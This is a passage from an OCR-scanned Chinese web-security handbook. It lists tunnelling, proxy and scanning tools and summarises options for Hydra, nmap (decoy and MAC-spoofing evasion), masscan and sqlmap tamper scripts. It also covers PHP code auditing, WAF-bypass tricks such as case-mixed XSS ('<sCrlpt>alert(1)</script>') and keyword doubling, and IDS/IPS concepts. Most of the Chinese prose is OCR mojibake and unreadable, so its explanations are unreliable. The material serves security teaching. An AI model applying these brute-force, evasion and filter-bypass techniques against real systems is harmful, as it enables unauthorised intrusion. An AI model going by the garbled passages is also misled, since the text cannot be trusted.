9.14. B4k 341


https://github.com/inconshreveable/ngrok
https://github.com/knownsec/rtcp
https://github.com/SECFORCE/Tunna
https://github.com/ginuerzh/gost
https://github.com/sensepost/reDuh
https://github.com/sensepost/reGeorg
https://github.com/L-codes/Neo-reGeorg
https://github.com/nccgroup/ABPTTS
https://github.com/fatedier/frp
https://github.com/ffay/lanproxy
https://github.com/sysdream/ligolo
https://github.com/idlefire/ew
https://github.com/SECFORCE/Tunna
https://github.com/blackarrowsec/mssqlproxy
https://github.com/ehang-io/nps
https://github.com/NetchX/Netch
https://github.com/haad/proxychains
https://github.com/Tencent/bk-cmdb
https://github.com/TophantTechnology/ARL
https://github.com/momosecurity/bombus
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9.14.9 =

e nebula
e Liudao “7NiE” SERhlgs Kis &40
o aswan [ FE XIS R GRS G 2

9.14.10 SIEM

e metron

e MozDef

9.14.11 L&

e Scout URL RS

e OpenDnsdb T Python ) DNS &3 £57

9.14.12 R&siE

e netdata Real-time performance monitoring

e bce Tools for BPF-based Linux IO analysis, networking, monitoring, and more

9.14.13 = kA

e Cloud Custodian Rules engine for cloud security, cost optimization, and governance, DSL in yaml for

policies to query, filter, and take actions on resources

e cloudquery cloudquery transforms your cloud infrastructure into SQL database for easy monitoring,

governance and security

9.14.14 Windows

e Windows Sysinternals

9.14.15 FLEMIR

e Toxiproxy A TCP proxy to simulate network and system conditions for chaos and resiliency testing
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https://github.com/threathunterX/nebula
https://github.com/ysrc/Liudao
https://github.com/momosecurity/aswan
https://github.com/apache/metron
https://github.com/mozilla/MozDef
https://github.com/HandsomeOne/Scout
https://github.com/qunarcorp/open_dnsdb
https://github.com/netdata/netdata
https://github.com/iovisor/bcc
https://github.com/cloud-custodian/cloud-custodian
https://github.com/cloudquery/cloudquery
https://docs.microsoft.com/zh-cn/sysinternals
https://github.com/Shopify/toxiproxy

Web-Sec Documentation, &%5 1.0

9.14.16 £IpAEEHI

e CALDERA Scalable Automated Adversary Emulation Platform

9.15 HWiE

9.15.1 WEBIE

o SfAntiBotPro
o volatility
e Rekall Memory Forensic Framework

o LiIME LiME (formerly DMD) is a Loadable Kernel Module (LKM), which allows the acquisition of

volatile memory from Linux and Linux-based devices, such as those powered by Android.

e AVML Acquire Volatile Memory for Linux

9.16 Hith

9.16.1 ZZEHESE

e metasploit
o w3af

e AutoSploit
e Nikto

e skipfish

e Arachni

o ZAP

e BrupSuite
e Spiderfoot
e AZScanner
o Fuxi

e vooki

o BadMod

o fsociety Hacking Tools Pack
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https://github.com/mitre/caldera
http://edr.sangfor.com.cn/tool/SfabAntiBot_X64.7z
https://github.com/volatilityfoundation/volatility
https://github.com/google/rekall
https://github.com/504ensicsLabs/LiME
https://github.com/microsoft/avml
https://www.metasploit.com/
http://w3af.org/
https://github.com/NullArray/AutoSploit/
https://cirt.net/nikto2
https://my.oschina.net/u/995648/blog/114321
http://www.arachni-scanner.com/
http://www.freebuf.com/sectool/5427.html
https://portswigger.net/burp/
https://github.com/smicallef/spiderfoot
https://github.com/az0ne/AZScanner
https://github.com/jeffzh3ng/Fuxi-Scanner
https://www.vegabird.com/vooki/
https://github.com/MrSqar-Ye/BadMod
https://github.com/Manisso/fsociety
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e axiom A dynamic infrastructure toolkit for red teamers and bug bounty hunters

9.16.2 I8iF#G

e CAPTCHAZ22 is a toolset for building, and training, CAPTCHA cracking models using neural networks.

9.16.3 WebAssembly

o wabt
e binaryen

e wasmdec

9.16.4 R

JStillery
e javascript obfuscator

HF hook 1) php 1RV #%

¢ Invoke Obfuscation

9.16.5 Proxy Pool

e proxy pool by jhaol04
e Proxy Pool by Germey

e scylla

9.16.6 Android

e DroidSSLUnpinning Android certificate pinning disable tools

9.16.7 Hith

o Serverless Toolkit

o Rendering Engine Probe
e httrack

e curl

e htrace
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https://github.com/pry0cc/axiom
https://github.com/FSecureLABS/captcha22
https://github.com/WebAssembly/wabt
https://github.com/WebAssembly/binaryen
https://github.com/wwwg/wasmdec
https://github.com/mindedsecurity/JStillery
https://github.com/javascript-obfuscator/javascript-obfuscator
https://github.com/CaledoniaProject/php-decoder
https://github.com/danielbohannon/Invoke-Obfuscation
https://github.com/jhao104/proxy_pool
https://github.com/Python3WebSpider/ProxyPool
https://github.com/imWildCat/scylla
https://github.com/WooyunDota/DroidSSLUnpinning
https://github.com/ropnop/serverless_toolkit
https://github.com/PortSwigger/hackability
http://www.httrack.com/
https://curl.haxx.se/
https://github.com/trimstray/htrace.sh
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o Microsoft Sysinternals Utilities
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https://docs.microsoft.com/en-us/sysinternals/downloads/
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cHAPTER 10

10.1 \#BEITH

10.1.1 Hydra

-R 4RZE M bR IERER R

-S i i} SSL #f#z

-s<PORT> 4 & i [

-1<LOGIN> 5 & Wfiiy i )

-L<FILE> §57E ] )74 7l

~p<PASS> $3 & i i 1 it

-P<FILE> #§ 5 %

—e<ns> AIPEIEIN, n: LR, s SHREE M R R
-C<FILE> i fl § 24 &4, Hilin user:pwd” Bt E-L/-P S5
-M<FILE> ff5& HRd £ SF—1T—5%

-o<FILE> fif & 45444 th S F

-f FEREH-M SHOAG , ARG X 855544 B 0 7 B i v 1 A
~t<TASKS> [A|hZfTII&ARE, BRIAH 16
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o —w<TIME> PN RYIE, FRAED, AR 30s

o -vV EURTEA AR

10.2 &I AR

10.2.1 wget

o W# T 7 wget http://example.com/file.iso

o IEEMRIFE 4 wget ——output-document=myname.iso http://example.com/file.iso

o RA7E|F5%E Ht wget ——directory-prefix=folder/subfolder http://example.com/file.iso
o RO A SEfE wget --continue http://example.com/big.file.iso

o FEIGEXMHH R url 513 wget —-input list-of-file-urls.txt

o FEIBEHTHNEN LA wget http://example.com/images/{1..20}.jpg

e T web TUT W AT KR  wget --page-requisites --span-hosts --convert-links
--adjust-extension http://example.com/dir/file

BT

o TFEFTH #EE R U A S wget ——execute robots=off --recursive --no-parent --continue
--no-clobber http://example.com/

e TRV EGTH M X wget —-level=1 --recursive --no-parent --accept mp3,MP3 http://

example.com/mp3/

e HEMIEE H X N & wget ——recursive -—no-clobber --no-parent --exclude-directories /
forums, /support http://example.com

EESH

o user agent ——user-agent="Mozilla/5.0 Firefox/4.0.1"

basic auth --http-user=user --http-password=pwd

{3#4% cookie —-cookies=on --save-cookies cookies.txt --keep-session-cookies

e f#iF] cookie -—cookies=on --load-cookies cookies.txt --keep-session-cookies
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10.2.2 curl

wH

o HFEE/R curl wuw.example.com
o RAFIRENIA T -0 newname

o AMEEST -0

IE M

o V{44 curl ftp://example.com/file[1-100].txt

e 1H44 curl http://site.{one,two,three}.com

10.3 FEHEX
10.3.1 TCPDump

TCPDump &K ER AL AT TR AT DARF 25 v e i i 2 B 1) 5 AR T ok b iAo e S0k
XFRIZEE L . AL g DAY E, IR AR IR

HLITHRIER

e -B <buffer_size> JURIHMZEM X I, FHid/NUTTRERA, HAH KB
* -c <count> UL n LR
o -C <file_size> MFNCRI L —ER/ING, HE—DIHEE, HAH MB
o -i <interface> & PRI K2 i &
o -n ANFARHHE
o -r <file> BEIRAFRY peap CIF
e -s <snaplen> MAFMRSCHAIR snaplen T HEE, 0 M FrA 50
o -q H R AP OR AR, i R A TR FU A R L
o -W <cnt> B cnt N EATE A
o -w <file> PRAFHE BT I
— HHFRI R, WA strftime (AREARSS , BIAT AY_%mn_%d_%H_%M_%S.pcap
+ -G <seconds> i [H] 44
o v PN, vV —vev SR A RGN
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o X Hij RS N 2
e -7 <user> Tj—:%j(ﬁ:zm, %Tﬁ%ﬂ%)ﬂ
10.3.2 Bro

Bro j&— IR AR R T TE, SCREZ RN, W] ey ol s i .

o SIS bro -i <interface> <list of script to load>
o MTAHLYE B bro -r <pcapfile> <scripts...>

o O EIENTR RS H & bro-cut

1k

N T RSP RERIE S Bro ZIRE, Bro &L T FIRBIMMIAE R .

10.3.3 tcpflow

tepflow 22— MNETH, ErE 2 R A BnEdENE, 100 HTTP &9k, H
tepflow £ B,

HXITERAER

e -b max_bytes & X HAIMHU =

+ -e name FHEMHTIY scanner

« -i interface f§EMHUE M

e -0 outputdir F§iE N S

o -r file FEHUCH

e -R file BEICHF, (HUZ I BEIGEBERY SO

10.3.4 tshark

WireShark [#ay$47 TR, wf DA 52l A A EdE, w DAEE M 2] 5CfF, il AZS & BRGS0
PG4T, LB BRI AL T .
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mAEDO

o -i <interface> FFEMFIL N, BINEH I ARAHGEERE D

o -f <capture filter> WEYM{UiJEFRIAA, BENG libpeap 1Pk, X MREBAEM GRS P ug,
TSRS 3 B A L SO DU AN )

o -s <snaplen> W EMRIBKEE, FMLEOEREAEIRAL, F ML R EHA 65535 FIFRE, 0 /g
HEEE 65535, ERIAH 65535

o -p AR AB TAE, B ORANIA KT E

e -B <buffer size> WHEZMXHK/), HXf windows A%, ik 2M

e -y <link type> WEAMMEIREERZ L, ABCEMBRID -L HEIH)H— Y
o -D FTHIE D5 FHB

o -L AN B R Z L, -y SEEA

o -r <infile> W 'EIEHUAM I

EES S | b

e -c <packet count> ik n MU JFEEA, FRINHFRTCRA
+ -a <autostop cond>

— duration:NUM 7£ num Fb2 J55 IF ik

— filesize:NUM 7£ numKB 2 J5{5 -7k

— files:NUM EHfZK num NSCPEZ 545 Ak

IR TR

o -Y <display filter> (i Jj UL IERRHTHYL, TEERI AT AT DAY -R 150
o -n 3E | EFTE LS FT CERIAH RV IT R )

o -NEMEZERHIES TN m AR MAC 2, n {GRMZZ, t AREHE, ¢ R4 HI7F4P DNS
B WER -n M -N SHIEAAAE, -n (2. TR -n Al -N SHEAT, WEGASTIFITA bt
AT AT

o —d PR E MBI KR A L, EERF tep 8888 i I AL ELE http M#EL, MiZER -d tep.
port==8888,http . W tshark -d ¥ H A ZEE LR .

i TR

o —w <outfile> XHE raw FIREAH L. ANEERHA stdout
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e -F <output file type> B4l BINE .pcapng, (#f] tshark -F WJF1| BTy SCRFY

bt SR
o -V HEINZ Ty
o -0 <protocols> H I R & i PSRN B
o -P MIERFAFREEERE ASCHE R, AT B AHEZAE B
. -S <separator> {74}
o —x WETEMHEE AR T, B4 packet JHTHIPA HEX dump #9757 2028 B AR
o -T pdml|ps|text|fields|psml i% &AL, Fbm RS, BRIAKH text
o —e WIR -T WEIRGE, -e HIRIRE P T B
o -t aladldlddlelr|ulud & EMFAGEES RS
o -u s|hms #AbHH R
o -1 7Ef AN )G flush BRifEd i
o -q Zify -z WIUHATHN, RUEFTSEIH T
e« -X <key>:<value> ¥'J&Jfi, lua_script. read format

o -z GEITEIT, BRSSO

H b1

o -h BIRar S TH )

o -v @R tshark BRUAE

10.4 IRIETH

10.4.1 Nmap

nmap [< HFEA >...1 [< & >] {< HHEFHHA >}

B B#r
« CIDR JAUi% 192.168.1.0/24
e 125/4)#| www.baidu.com,www.zhihu. com
o rEHIZR 10.22-25.43.32

o EHXY -iL <inputfile>
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e HEBE A FEEM host --exclude <hostl [, host2] [, host3] ... > —-excludefile

<excludefile>

FHEH

e -sL List Scan - simply list targets to scan

e -sn/-sP Ping Scan - disable port scan

e —Pn Treat all hosts as online — skip host discovery

o -sS/sT/sA/sW/sM TCP SYN/Connect()/ACK/Window/Maimon scans
e -sU UDP Scan

e —sN/sF/sX TCP Null, FIN, and Xmas scans

r mEEE ]

o --scanflags EfIAY TCP

e -PO J; ping

o PS [port list] (TCP SYN ping) // need root on Unix
o PA [port list] (TCP ACK ping)

o PU [port list] (UDP ping)

e PR (Arp ping)

« p <port message>

IRV SEERE

© AN BEATUG 4

BB 35 FORR AR A

-sV RRCAHE

--allports A HCAGEMHERR AT i

e —-version-intensity <intemnsity> & B MR
o --version-light FJIFRREGAR // gl 2

o --version-all Z=i{A&HM // F 9

o —-version-trace R EZMASITEE)

-sR RPC $#
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BRERGE

-0 JE AR Gek
o --osscan-limit F XI5 E M HARATERIE R GAG I
e --o0sscan-guess

o ——fuzzy HEMERIER GRS R

Bt iElFE AE

o WRIFTEINAL R/
— --min-hostgroup<milliseconds>

— --max-hostgroup<milliseconds>

PR BRI S I

— --min-parallelism<milliseconds>

— --max-parallelism<milliseconds>

DR DR DU S

— --min_rtt_timeout <milliseconds>

— —-max-rtt-timeout <milliseconds>

— —-initial-rtt-timeout <milliseconds>
JRFKE H s 12 HL

— --host-timeout<milliseconds>
AR R I ST ] ] Bk

— --scan-delay<milliseconds>

— —-max_scan-delay<milliseconds>

BEELIF I R

— -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>

— -T<0-5> (HiAj)

IS M 4E <

o —f MITE
o« —-mtu fAREERN MTU

o -D<decoyll, decoy2] [, MEI, ...> fifi /515 Bl 414l
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o -S<IP_Address> itk M

e -e <interface> {§i {37 EMIEM

e —-source-port<portnumber>;-g<portnumber> Y g 1 LD

+ --data-length<number> AKX SCIN PRI FEHLEHE

e ——ttl <value> N E ttl

o —-randomize-hosts X H AR FHLHITFBEHLHES

o --spoof-mac<macaddress, prefix, orvendorname> MAC Hihl ki

Wit

o —oN<filespec> Fpiftki

e -oX<filespec> XML #ji

e -oS<filespec> ScRipTKIdd|3oUTpuT
e -0G<filespec> Grep fiH

e -oA<basename> il ErAE G

o —-open {3k i AT REFF ALY 3y 1145 &L

AT F0iRER

-v {5 BT

e —d [level] debug level
 --packet-trace JREFAIFRFIFAIM L
o —-iflist FX4E ARG

10.4.2 Masscan

1

sudo apt-get install git gcc make libpcap-dev
git clone https://github.com/robertdavidgraham/masscan
cd masscan

make -j

10.4. IREETH
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HRATEM

 —-ports 5 i 7w
o —-rate fH M

o ——source-ip f§EJE IP

10.5 SQLMap

4% git clone https://github.com/sqlmapproject/sqlmap.git sqlmap

10.5.1 EHE#

e —u--url $E&EHR url

o —m MICRHERIEZ A H AR
o - WU HTTP #5K

o ——data DA POST J5:XHE 4
o -random-agent Pt/ ua

e --user-agent f57E ua

o --delay W EFRIIAYIER

o ——timeout J7E AT

o ——dbms F57E db, sqlmap F ) db H MySQL. Oracle, PostgreSQL . Microsoft SQL Server., Microsoft
Access. SQLite 4

o —-os fEERE R TR ARG
o ——tamper f§5F tamper
o -—level FHERIM N
o —-risk $55E MK ER
o —-technique JEAHiAR
— B: Boolean-based blind SQL injection

E: Error-based SQL injection

U: UNION query SQL injection
— S: Stacked queries SQL injection

— T: Time-based blind SQL injection
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10.5.2 Tamper ERZE

BIZR ZFR 1ER

apostrophemask.py H utf8 515

equaltolike.py like %55

space2dash.py LR E =" B ESE (), (7-7) FIR—AATS R, — AR AN T
greatest.py Zenkidyk’ >, il GREATEST Bk T-5.

space2hash.py RGN # S LA R AR T4

apostrophenullencode.py il e s s, B FE ARG S .

halfversionedmorekeywords.py | 4¥fii/A 20 mysql W SEdP7 K, S KEE T Z AT mysql RATFE
space2morehash.py AR # 5 AL Z AL AT R AT

appendnullbyte.py TEA BT S R A BN B AT AR gD

ifnull2ifisnull.py a3 IFNULL 3k, ##25U IFNULL(A, B) Jy’IF(ISNULL(A), B, A)’
space2mssqlblank.py BRI B ST

base64encode.py i base64 % fith Bt

space2mssqlhash.py B sig

modsecurityversioned.py PR, AT TR A A TR

space2mysqlblank.py TR HE S AR (mysql)

between.py H between B K15 (>)

space2mysqldash.py B S AT (M- SR — AT S RN AT ('n’)
multiplespaces.py %8 SQL XEFImE a4

space2plus.py A+ Bk

bluecoat.py KRBTGS DA UPIBEIL S A SQL iEA] . RJEEH = °h like
nonrecursivereplacement.py B predefined SQL KT with F/R suitable for 2 (f5140.replace(”SELECT”, 7))
space2randomblank.py RBEEHEFRT (77) W—ABEHLI 25 A A E A A SR

sp_ password.py BN sp_password” A\ DBMS H 751 H S EORIAL BE A 3 A R
chardoubleencode.py R url ZiAs (AALFE ARG )

unionalltounion.py F UNION ALL SELECT UNION SELECT

charencode.py url Zghs

randomcase.py FlHL RN

unmagicquotes.py T T BT GPC addslashes

randomcomments.py Fi 7%/ 438 sql 4T

charunicodeencode.py FAER unicode ZitY

securesphere.py IB IR AR

versionedmorekeywords.py HRELE

space2comment.py Replaces space character ' ' with comments /**/

10.5. SQLMap {#H 357
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cHAPTER 11

Hith

11.1 i

11.1.1 &

AR N R . HEEA st BEd. K& A a T HRE A
A BT 2 W ks, PR T A KBRS, 2 EREIINR 7, O TR R B A
0= v I N DR v S N Y 7

11.1.2 RS

WA

i NGB HWFR Source, Web I AT AE RS EL (GET. POST 45). LA&RSCf4:. Cookie, #idi
JERHR S T s m TR v K T

%4 PHP i) $_GET / $_POST / $_REQUEST / $_COOKIE / $_FILES / $_SERVER 25, #Bu] DAYE NI H B
Ao

LhEERER B

Ak B R BCR R RO A T B A AR I R R, Sl RIPRCA Clean/Filter /Sanitizer o X 48 bk B i A IEAT
LA PRAEGE g, A A RN E .
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[El#EPA PHP S, X FER R4 7] GBS mysqli_real_escape_string / htmlspecialchars / base64_encode
/ str_rot13 48, W AJEER N A H & T JE R EL

peAbodBik s

fE IS R FICLFE A Sink Call, Jgil s, 2] BEflA G AT MANSCHFERAE . G BT B PR E 1T A R
5.

£ PHP ¥, 1]/ include / system / echo %,

11.1.3 EapftE

— AR AR 4 i B AR M A 2 s B B fE I e B i AR (Source To Sink), il TR SFHIX A
HEACHY AR . W ILAY E S T A R ek BT . PR AR -

e E L

HE i s WLy Ul 8 S R R B S e S HUE Al PR R T A2 Seay JTAIYHIIT
TR P ERICRM R, X2 E XA RS SRR P AR A TR AT, 55—, X ARy 3
R ISL I ATEE —ANSCIE, T SO Z TSR AR TR S &

BARIUL, SR T7 20— L8R8 T ML ol , HEH ARG, ATPAR BRI, HifE
e EEAESAL ARG , REFR BN B IR A A BR o
1 HR ST

TEJE R ARG, B RE—ERETIA AST M AIHE, fE—ERE L T3, HRVITEERZ
R -

iii), Dahse J & ANt 1 RIPS, % TR THIRR MR, 456N SRR m 0 i 2 gt
R, MIXHE R R R E R 7 2OR VLR IR D TR S, (E FREAIHIg I T IT8
ETEBNSH

T WX H R —A e, KA CFG st TR B, —ERE LRtk TitE,
AR FHER M%) Semmle QL Fl NDSS 2017 4 & ) Efficient and Flexible Discovery of PHP
Application Vulnerabilities,

EB4E LT EL 34

— IR B L ARSI, BCE A FHEZE . AR oA S0 B il i, U] e PR D
TR B i o
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RESH
BTSRRI IHHEOR, TRAARD TETEf a2, SHUSEEFT Hook, YAATEIfER R
Hons B sh A, HE A RS AT .

AT SRR TR AT SR AR . PTEEARTTR R A A, AERIRTE DR R R A — e, (FUR K
BRI ML A . fate0 FFRAY prvd ST X .

11.1.4 FIHEITRE

o RIBRES, A, Zedabr
— 3Py R R
— R %R G S
— W E M 2 A A AE ]
o SRR A
o TIRRYFIBITRR
— MR
* A
* RN waf
&3 E YN
* mysql/mysqli/pdo
* RIS g
— AP G
* XSS
* BUIEA
— SESSION 4bapHLiE
O
R
* A
— Cache AbPEALE
* S cache FJREE shell
* Bl cache TTRETEA

* memcache

11.1. BBt 361
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o WK F
— Auth 7=
— Pre-Auth PR AT AT I ¥ 5L
— Wk
*REAS AT ARG AR
— B GUK BN
- IKSHhR
* e g5
* IR
*
* T
B S
o HPET AR Sink
— SQLi
* 4RI UERET bypass
* RAA HIENAT SQL 1LY
* SQL )13, mysql/mysqli/pdo
- AR PDO, BRRB AL EEAATI
— XSS
* 4xJ5) bypass
e
— FILE
* AR B AETIRE R
* AT R R
i UN
- LFI
- RFI
. 4 J3# include, require
— RCE

— XXE

362
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CSRF
SSRF

BFHE
- AR

LDAP

— XPath
— Cookie i
— & WAF 7550, FIbre T PASE

11.1.5 55

e Tips
e prvd
o PHP jzf7i Jmild il

e Backes M , Rieck K , Skoruppa M , et al. Efficient and Flexible Discovery of PHP Application
Vulnerabilities[C]// IEEE European Symposium on Security & Privacy. IEEE, 2017.

o Dahse J. RIPS-A static source code analyser for vulnerabilities in PHP scripts[J]. Retrieved: February,
2010, 28: 2012.

11.2 WAF
11.2.1 4r

WAF (Web Application Firewall, Web [ B k1% ) s&ilid$f7—FR 544 HTTP/HTTPS #4045 mg ok
%171k Web | AT 77 i o

N L, AEFOASSFIIRENLTIN WAF. ¥E—@ERZ L, WAF f&o Web W IRt 4E, HE2A
AEPRIESE R 224
wILThRE

o RMSHIL, ELRFFE HTTP B ok

o XPRESE BT 23 R

11.2. WAF 363


https://github.com/ripsscanner/rips
https://github.com/fate0/prvd
http://blog.fatezero.org/2018/11/11/prvd/

Web-Sec Documentation, 475 1.0

o Cookies 153/
o fREMER IR
e DDoS [iip
o B[R TP i
o WIEE IP fifE
o %4 HTTP L5580
— X-XSS-Protection
— X-Frame-Options
o BLHIKIN
— CSRF token

— HSTS

MBS

HATEAE, WAF W[LA N WAF . BRI AR 7. = WAF B b, Refd = iss
ARSI AL THUBG PR 2 R 2R I, U0 mod_security . ngx-lua-waf &5, X F: 4Lk
Frldr. BECERT IR R 0 AU, Sl B A T DE A

11.2.2 BsIPAR

WAF 5 07 A KRl . Wk . B53A 0. A7 . AT, Pl ) <%,

BT IEMA PRI i WA PRI T e T A ) — S0 B B0 1 DU AR D R AS: I 28 2 A AR I i i . BT IE
BT AP IR R TR B, PR A — 2B o BN RN T B oK, i LI DR A B2 ) — 2852 Al sl

BT IRARA 73 AT AR T A58 S R iy ELSE R, b A AT L TR AT AT S AL, RS TERT 5 4L
SRR R T AT SO ST A S A R RCR,, (R FIRERY, XA s ZOR B

ETAT N AT E IRBTE S — 28, Bl & fsm QAT . B SRIRa. SR — 2 A 5 3)
s Bl R S M A T IR Z

ET AR AT AT AR i 1 i S nT BERR U, BIANHE R VPN, B2 ACBE, Tor 35, MR MI45Y
MY IP 4E

BT g B WAF W REIRFEEAER), ZORB N B ARSEBAS RB N Z AL .

W T AR RSy, tOn] AR 4 BRI SRR R 22K T H A B WAR &S TRER) Web
IVAFE I 1P~ gl Prrs ¢S E w1 L] 18
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11.2.3 $3428R51H

o HF User-Agent iH 5|
o ETYEEEATHA
o IGUERY

11.2.4 WAF 14

o AHME Cookie

o 5N Header

o BEAEL ORI IR ] 2R

o WAEZ T RIS B2 [m] i [
o« IP

11.2.5 Gt AR
BETRGM%E

o UhigAE WAF )5, [E2ul ] 1iE
o WRTER RS, X R B 554 TC WAF

ETRENSE

o WEAIHFERMEAGT, FERY WAF 131 BER
o RACKERIHSH

BT

o TR
o PrRBEAAL
— POST % JSON {£% / form-data / multipart/form-data
o PISUBHTAIER
o Ui WAF X https A7 A2
« WAF fi#hrts Web IR 55 it A2
— T7> ASPHIIS Sl %u0065 A% zNAY 74T

11.2. WAF 365
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— Apache &M Method
— F—ZHE UL, B ALEA—F
— HTTP Parameter Pollution (HPP)

— HTTP Parameter Fragmentation (HPF)

ETFHAMsS5E

- R
~ KA

* select => sEleCt

* <sCrlpt>alert(1)</script>

A
* URL 9@i5
T
* Unicode fi##T
* Base64
* HTML
* JSFuck
* A
~ R
~ Sk
— REEFS
— R

i
* NULL (x00)
* otk

* A EHIF (x0b)

)

* AT (x0a)
(

* KPR (x09)

366
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* I (x0c)
- R
I 7 i
— HRAT
- 5% (515, B8, W5l5)
o FDHMESSA S e L
— Bl RECHE oA

* selselectect => select

o DUURFHERAERLINZ 1 2

11.2.6 &5
o WAF 7T 2 U4~ JE IR Bypass WAF
o FHy WafBypass 28 SQL ¥ A%

o WAF through the eyes of hackers

11.3 RRM%RE

11.3.1 B5AIE
&

B KRGS R 2 — A PRI FSE A AL AT FE PR RISNERI 2 18] L R -5 24 36 0 2 T F) 5t LA
AP ER . BT I BRSO AR R R, AT RS SNBSS
HABATIRDL , VAL SE BRI 25 1) 22 A R 3

817 K35 T LA S A 248 S 5 K R P =7 K ik« 1 28 2 7 K i BT AT A R P SCA B
IP B3 1 AR I S A T o 1 )2 37 SRR 30 ) 0 2% 7 0 e 55 PSR RS e i s, o ELE
RSB A 7T T IR R 41 o

FEINkE

RLPEHE . 2 R

B 1EAN 22 A PSR 55
BRI TIAT N
[t BuRple iR SN RS
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https://www.weibo.com/ttarticle/p/show?id=2309404007261092631700&sudaref=www.google.com.hk&display=0&retcode=6102
https://xz.aliyun.com/t/368
https://habr.com/en/company/dsec/blog/454592/
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o XM TE HE TR I
o 7 IR ANESXT AR 265 (5 B R FRHL
o PRGNSR A P A

T— KB AiE

R A Y N 2 B R P R . AT AN R RE AL RSB 2 AR i
FGTEH . B IR T B SR E— G A BLAA TRGER Kdi  IPS RS A iR
IIREBEMEAR T RAR M A R R GHRIGEA , SUBE T 2 G R a AR SR AERE A, bl b 3
FI A PRAE SRR T A BE B P A A

11.3.2 IDS

[F]

ARSI B Ao AN 0 2% B 8 P T SR BT MR AT (R L, M R 4 RO A5 A i S 2 A SR ATy
TAIEARAT N . ARG AGEHE WS 3 LT IIREALIE: FERU. 5 BRI B2
HRMR AR RS M4 Bl A PSS IRES AT . ARKIM A EE— Bk B RGEM M4
HRESCPE. ARIER B H SRS AREF AR AT = A7

AT WAERI A KRG W4, Bl S s sh RS NS E S, Rl psleie. goit ot
SERENE AT IX = FhFBLdEAT /AT o BTPIAR T SE I ARAGI, se B T 35 0

S AR AR PSRN E AL, O A R A4 S I

IDS [ PAG Ry T EHUR A GG RS (HIDS) Ak TR 2 1) A RZAG IR SE (NIDS).

BT AR ARG RS2 R WM ARG R SEE, RPN, BEZRAERERPR T L. H
R ) H AR F 208 EHLRGEMARGEAN 7, A 5 LR MRS LR BB A R 58 H G A T St

AT AR B2 FRETRA . SRR EAR, TR R XA AR 2 SRR R
GEPERE s HOBET IR 5548 A 19 H S S HLEE 75 AN ANEEXT M 28 HEA T I 5 75 22 2 X AR &
LI AR G

BT M2 ARG 7 202 H AT B R RT3, XGRS R A — 6 L IRl s, A
BT EAE LR S M BEA, A AR R B b A AP R A, A P I B L. e P N Y
0 2% LA — D B BT BE B EL A TR 04T, AR EIR A5 7 N B LS £, ARAG I R 5t
e KB, EEERYIWMEE . HEl, KA ARG g H T M2 o

DA I BRI VR LB RERSA IR LE R 5 I 265 1 BOh A SR AEIA T 5 AR 2 A R g5 2 <5
PUAECE, WA EAERE: KU BCEfRR . Hoh a2 A iR 2R K5,
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M RGEERE . RED IR, WA, XIS SRR BIEME 28 s i T RE 2 R0
ZEM, BEHILAREAIER ToE e W EEN B AR ICER I .

11.3.3 IPS (ANRBFHZRS)

B

A 1 25 2 B 0 50 2 5 0 44 5045 0 9 24 VORMES S5 B TS HL R 20 2 28, RERS BB o
M7 B S IE A R A (R M VR AT

FRATHRE BT K n] AR Z AT, (B 2 IR Z BGEAT N TCRE N J1 . 55 B8 1) IDS wl DA K i
KIARLE BT JRRIRLGEET R, VRPN E, (ER TEk L BT .

P B T BT IDS R kdsibeah iy IPS: @i IDS kA, mad By kR s . Hih 245 0 kA5 —
A DUV, MO A Y BRI (— STt OB BIGERCR . W SQL HEA L it Wifi %)
753 IDS 57 KGRI BN AESE PR A RCRA 23

FEXD

W PAG AR IPS, BT R IPS, EF5us IPS, BT MU IPS.

EETHFERY IPS 2142 IPS ffpkJr 5 e 7 ik o ACRFEAR NS B, AR B Y ml i o IR Bt .
PR MR PUHE IPS . PR AT DA . RRERITE R, DAR B A ity o

BT ER IPS thghon B TATAR IPS. Bt S iy ik nl U GO S A DRSS T A«

BT ORI TPS 3E DR 2 AT SR 2 ORI o G SRS DN 4 396 2l i s T 2L 8 14 22 R SREme it fik A 41
BRI IPS, ZHE LR H ARG Z .

BT IPS 5EF LR T IAIML. KRB DU 5 WLARFAL , (HEE T ST i 759 m] PASCE
RAREIR kA, et RIEHA LR R i .

11.3.4 Z2fEEM
[CF1

Al g A I 0 A 2 b o D BE B9 AT B 5 A R 7 M 4 R R R bl T
TR S o 1] T EE R A P SE M 8 R L2 ), APl R i B . iR RS FEL
PR, AR X AR B A, ARSI e “S8E”, HW S R <85 fn <57
WIS BreA, YBRRE e R B BRI A T RERY U, (EBGEE LR
TeikGl . JCIERER, BT HIEM T4
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FEHE

LT 190 465 (4 BB B2 - 0 L B v 19X I E AT 2080 BB S A T (R I 28 ANl (5 P 4 bz — AT, i ANRE
(7] -5 A I 2 T 42

FFLITIE 4 05 OB BT ) B R . R S TOP/IP s WA -2 [ i L S i
AF TCP/IP i3IBS, A5 FIREARE P2P 104 TCP/IP JeByst, BAEHARI “HA” 5 “Bi”
SRR

GATA: YIRS AR A A, DA A IR R, A A
SRS A TR, TR . R L

JEAEHRAR OGN W 8 I T 2 A 1) S i, AN LA ey 0t ) 45 22 o R e g
AR hEE : B EEA H S RS,

MR LRSI RRRHE R - AL IR BE, A5G IR, SEBUY RS R, 28U PR i s
o (B SBX F PO K e s €y (OB S TN VA DIl T N 3 VO D VA 4 €T NG € B TR Y e V67
FHIEPE LR, A& R R E R BRI R AT SRS, AFF AR m -, SEaa B g .

A T SR O ] 22 A MK AL SRR B D RE - TP AT A AT BOE B RO F i, e fetep s (BT 4K
WL R TAESS) . R sy, MR S Sl E 4.

SCRPREIS /SR SCPFACH s SCRF SCRpEL ) LRI SO ORI 840 . AR IR A SR IR -

11.3.5 VPN &%

&

e A5 FR102AE 2 2% S % A5 BR . Z BT ARROA HEAUL R 2 22 TR B4~ VPN [ 45194
BPIAT R A FERE A A58 % W B 35 (4 3 2 i O P LB, T2 R 2 1) X 288 i 55 7 B B (3t ) IR0 4%
FEZ ERZERFYS, TR R R L

wREAR

MPLS VPN: 2—fT MPLS $R[ IP VPN, 275 W % th FI e #eist s B 1T MPLS (2P ARIC A
) BAR, A% R B bRy 5, RN S G & SE i BORBIPRIC A SR TP L& M 4% (1P
VPN) . MPLS {EHAET R 2 AHMA =2 B M BORGE Aok, e VPN, Jies5 0 B it TARX 48 1P
90 2 1) K IR L AR A S B, [RlIk, MPLS VPN FEffge sl T . LA Rl 45 0 1 o ok bl
EETRL, BT 1P MEZE R AL 55 A E2 T B, MPLS VPN Xn[/}h — 2 MPLS VPN (]
MPLS L2 VPN) #1=JZ MPLS VPN (R MPLS L3 VPN),

